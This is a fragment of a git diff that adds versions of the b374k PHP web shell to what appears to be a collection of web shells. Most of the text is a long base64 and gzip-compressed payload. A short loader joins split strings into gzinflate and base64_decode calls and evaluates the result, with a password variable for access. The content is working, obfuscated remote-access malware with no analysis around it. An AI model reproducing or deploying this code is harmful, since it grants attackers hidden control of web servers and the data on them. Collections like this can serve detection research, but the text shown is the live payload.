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",$s_pass);?> \ No newline at end of file diff --git a/php/b374k/b374k-2.3.poly.php b/php/b374k/b374k-2.3.poly.php new file mode 100644 index 0000000..02fc12f --- /dev/null +++ b/php/b374k/b374k-2.3.poly.php @@ -0,0 +1,12 @@ + \ No newline at end of file diff --git a/php/b374k/b374k-2.4.min.php b/php/b374k/b374k-2.4.min.php new file mode 100644 index 0000000..a1bf93d --- /dev/null +++ b/php/b374k/b374k-2.4.min.php @@ -0,0 +1,12 @@ +".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$b374k("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